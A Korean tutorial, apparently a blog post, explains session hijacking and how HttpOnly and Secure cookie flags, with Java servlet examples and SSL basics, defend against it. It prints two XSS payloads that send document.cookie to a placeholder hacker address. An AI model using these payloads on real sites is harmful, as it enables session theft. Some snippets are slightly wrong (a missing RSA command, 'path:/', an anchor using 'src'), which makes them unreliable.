01. 시큐리티 - HTTP Only 와 Secure Cookie
개념
브라우저(크롬, 사파리)에서 request(요청) GET 또는 POST 하게 되는 경우 모든 쿠키들이 서버에 넘어가 사용자를 체크합니다
오래전 부터 쿠키를 사용하고 있어 많은 사이트 대부분이 쿠키를 통해 사용자 식별정보를 쿠키에 저장하며, 쿠키에 저장된 정보를 통해 각 사용자를 구별사용자 인증을 진행합니다
인증을 계속 체크하는 이유는 HTTP 프로토콜이 Stateless (무상태성) 이기에 요청한 사람의 상태정보를 계속 갖고 있지 않고 연결이 끊어지기 때문에 다음 요청 시, 누구인지, 이전에 요청한 같은 사람인지, 해커인지 알 수 없습니다
이렇게 쿠키를 통해 인증을 하기 때문에 민감한 정보들이 쿠키에 담겨져 있는 데, 해커들은 다양한 방법으로 이 쿠키를 탈취하고자 합니다. 이러한 쿠키에 대한 보안 공격 중 가장 대중적인 것 중 하나는 바로 세션 하이재킹 공격(Session hijacking) 입니다
세션하이재킹
인증이 완료된 사용자의 브라우저에서 인증을 식별하고있는 쿠키를 탈취해 별도 로그인없이 탈취한 (인증된 세션) 쿠키를 사용해 서버와 통신하는 행위
익명 사용자 → 로그인→ 식별 쿠키 생성 -> 인증 사용자 -> 내 정보 요청(request GET) -> 식별 쿠키 비교
이러한 Cookie 를 통해 인증이 이루어지기 때문에 Cookie 만 탈취하게 된다면 그 사람으로 위장하여 내 정보 또는 포인트 또는 마일리지를 통한 결제 방식이라면 구매또한 가능합니다
(네이버는 쿠키를 탈취했더라도 간편결제를 막기 위해 결제 비밀번호가 있는 이유입니다)
HTTP Only Cookies
쿠키는 클라이언트에서 자바스크립트로 조회할 수 있기 때문에 해커들은 자바스크립로 쿠키를 가로채고자 시도하게 됩니다
가장 대표적인 공격중 하나가 XSS (Cross Site Scripting) 게시판 제목 또는 이미지 src 에 해커사이트 주소로 연결되게 작성하면 쿠키를 탈취할 수 있게 됩니다
<script> location.href = '해커사이트주소?cookie=' + document.cookie </script>
해커가 위와 같은 게시물을 공개 게시판에 작성할 경우 이 게시물을 읽은 다른 사용자들은 자바스크립트 명령이 실행 되어 해커 사이트로 이동되며 이전 웹에 있었던 모든 cookie들을 URL 쿼리에 적히게 되며 해커 사이트에 컨트롤러 단에서 cookie 라는 파라미터를 받아 탈취하게 됩니다
이러한 스크립트를 통한 탈취방법을 막고자 브라우저에서는 쿠키에 접근할 수 없도록 제한하기 위한 옵션이 HTTP Only 입니다
Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly
가장 마지막에 HttpOnly라는 접미사만 추가함으로써 HTTP Only Cookie가 활성화 되며, 위에서 말한 XSS와 같은 공격이 차단되게 됩니다. HTTP Only Cookie를 설정하면 브라우저에서 해당 쿠키로 접근할 수 없게 되지만, 쿠키에 포함된 정보의 대부분이 브라우저에서 접근할 필요가 없기 때문에 HTTP Only Cookie는 기본적으로 적용하는 것이 좋습니다.
HttpOnly 속성은 클라이언트(브라우저 등) 에서 설정할 수 없는 옵션이며, 서버단에서 설정할 수 있는 옵션입니다
자바에서는 아래와 같이 HttpOnly 속성을 설정할 수 있으면 response(응답) 에 cookie 를 넣어 클라이언트 넘겨줍니다
public class TestHttpOnlyCookie {
public static void main(String[] args) {
HttpServletResponse response = new MockHttpServletResponse();
Cookie cookie = new Cookie("name", "어드민");
cookie.setHttpOnly(true);
response.addCookie(cookie);
}
}
HttpOnly 는 XSS 는 예방할 수 있지만, 클라이언트에서 서버로 전달하는 패킷을 가로채는 해킹방법 (스니핑)은 예방할 수 없습니다. 패킷을 캡처하면 쿠키의 정보를 알아낼 수 있기 때문에 해커는 쿠키를 탈취할 수 있습니다
예) 무료 와이파이를 사용하는 공공장소에서 와이어 샤크 툴을 통해 패킷을 캡처하여 탈취
Secure Cookies
HTTP Only Cookie를 사용하면 Client에서 Javascript를 통한 쿠키 탈취문제를 예방할 수 있습니다. 하지만, Javascript가 아닌 네트워크를 직접 감청하여 쿠키를 가로챌 수도 있습니다(와이어 샤크 패킷), 와이파이 미국의 NSA를 포함한 각국의 정보기관들이 Wifi 망 분석, ISP 케이블 감청을 통해 쿠키 등 개인정보를 열람하고 있다는 사실은 더 이상 공공연한 비밀이 아닙니다. - 출처 https://nsinc.tistory.com/121
이러한 통신과정에 정보 유출들을 막기 위해, SSL ({Over} Secure Socket Layer) 암호화가 적용된 HTTPS 프로토콜을 사용하여 데이터를 암호화하여 서버에 넘겨줍니다. 때문에 해커들은 쿠키를 탈취하였다고 하여도 암호화가 되어 있어 정보를 알아 낼 수 없습니다
SSL 개념
SSL의 핵심은 암호화입니다. SSL은 보안과 성능상의 이유로 두가지 암호화 기법을 혼용해서 사용하고 있는데, SSL 동작방법을 이해하기 위해서는 이 암호화 기법들에 대한 이해가 필요합니다.
대칭키
암호를 만드는 행위인 암호화를 할 때 사용하는 일종의 비밀번호를 키(key)라고 합니다. 이 키에 따라서 암호화된 결과가 달라지기 때문에 키를 모르면 암호를 푸는 행위인 복호화를 할 수 없습니다. 대칭키는 동일한 키로 암호화와 복호화를 같이 할 수 있는 방식의 암호화 기법을 의미합니다. 즉 암호화를 할 때 1234라는 값을 사용했다면 복호화를 할 때 1234라는 값을 입력해야 합니다.
echo 'this is the plain text' > plaintext.txt;
openssl enc -e -des3 -salt -in plaintext.txt -out ciphertext.bin;
아래는 대칭키에서 복호화하는 방법입니다.
openssl enc -d -des3 -in ciphertext.bin -out plaintext2.txt;
공개키
대칭키 방식은 단점이 있습니다. 암호를 주고 받는 사람들 사이에 대칭키를 전달하는 것이 어렵다는 점입니다. 대칭키가 유출되면 키를 획득한 공격자는 암호의 내용을 복호화 할 수 있기 때문에 암호가 무용지물이 되기 때문입니다. 이런 배경에서 나온 암호화 방식이 공개키 방식입니다.
공개키 방식은 두개의 키를 갖게 되는데 A키를 암호화를 하면 B키로 복호화할 수 있고, B키로 암호화하면 A키로 복호화할 수 있는 방식입니다. 이 방식에 착안해서 두개의 키 중 하나를 비공개키(private key, 개인키, 비밀키라고도 부릅니다)로 하고, 나머지를 공개키(public key)로 지정합니다. 비공개키는 자신만이 가지고 있고, 공개키를 타인에게 제공합니다. 공개키를 제공 받은 타인은 공개키를 이용해서 정보를 암호화합니다. 암호화한 정보를 비공개키를 가지고 있는 사람에게 전송합니다. 비공개키의 소유자는 이키를 이용해서 암호화된 정보를 복호화합니다. 이 과정에서 공개키가 유출된다고해도 비공개키를 모르면 정보를 복호화할 수 없기 때문에 안전합니다. 공개키로는 암호화할 수 있지만 복호화는 할 수 없기 때문입니다.
이 방식은 이렇게 응용할 수도 있습니다. 비공개키의 소유자는 비공개키를 이용해서 정보를 암호화 한 후에 공개키와 함께 암호화된 정보를 전송합니다. 정보와 공개키를 획득한 사람은 공개키를 이용해서 암호화된 정보를 복호화 합니다. 이 과정에서 공개키가 유출된다면 의도하지 않은 공격자에 의해서 데이터가 복호화 될 위험이 있습니다. 이런 위험에도 불구하고 비공개키를 이용해서 암호화하는 이유가 무엇일까요? 그것은 이것이 데이터를 보호하는 것이 목적이 아니기 때문입니다. 암호화된 데이터를 공개키를 가지고 복호화 할 수 있다는 것은 그 데이터가 공개키와 쌍을 이루는 비공개키에 의해서 암호화 되었다는 것을 의미합니다. 즉 공개키가 데이터를 제공한 사람의 신원을 보장해주게 되는 것입니다. 이러한 것을 전자 서명이라고 부릅니다.
그럼 이해를 돕기 위해서 공개키를 이용해서 RSA라는 방식의 공개키를 사용해보면, 아래 명령은 private.pem이라는 이름의 키를 생성합니다. 이 키는 1024bit 길이를 갖게 됩니다. 이 숫자가 높을수록 안전합니다.
HTTPS 자체의 보안문제는 아니지만 HTTPS 에 대해 모르고 있는 개발자가 있다면 HTTPS로 전송되어야 할 정보가, 개발자의 부주의로 HTTP를 통해 유출되는 경우가 있습니다. 예를 들어 개발자가 다음과 같은 코드를 실수로 작성할 수 있습니다.
<img src="http://www.example.com/images/logo.png" />
브라우저는 http://로 시작되는 위 코드를 만나면 암호화되지 않은 상태로 쿠키를 서버로 전달하게 됩니다. 해커는 이 암호화되지 않은 요청정보를 가로채서 쿠키를 탈취하게 됩니다.
이러한 사고를 방지하는 방법은 쿠키를 생성할 때 secure 접미사를 사용하는 것입니다.
Set-Cookie: 쿠키명=쿠키값; path=/; secure
위와 같이 마지막에 secure라는 접미사를 사용하여 쿠키를 생성하면, 브라우저는 HTTPS가 아닌 통신에서는 쿠키를 전송하지 않습니다.
secure 옵션은 클라이언트와 서버 모두에서 옵션을 적용할 수 있습니다
- 클라이언트
document.cookie = "name=어드민; path:/; secure"
TIP
expires(유효 일자)나 max-age(만료 기간) 옵션이 지정되어있지 않으면, 브라우저가 닫힐 때 쿠키도 함께 삭제됩니다. 이런 쿠키를 "세션 쿠키(session cookie)"라고 부릅니다.
expires 나 max-age 옵션을 설정하면 브라우저를 닫아도 쿠키가 삭제되지 않습니다.
- 서버
public class TestHttpOnlyCookie {
public static void main(String[] args) {
HttpServletResponse response = new MockHttpServletResponse();
Cookie cookie = new Cookie("name", "어드민");
cookie.setHttpOnly(true);
cookie.setSecure(true);
response.addCookie(cookie);
}
}
그 외 XSS 공격법
XSS 를 통한 공격법은 몇 개 존재하는 그 중 또다른 공격법은 Reflected XSS 공격입니다
요약
<a src="http://네이버/board?search=<script>location.href('해커주소?cookie=' + document.cookie)</script>">링크</a>
다른 공격법은 https://rjswn0315.tistory.com/176 참고 바랍니다
참고
- 꼭 참고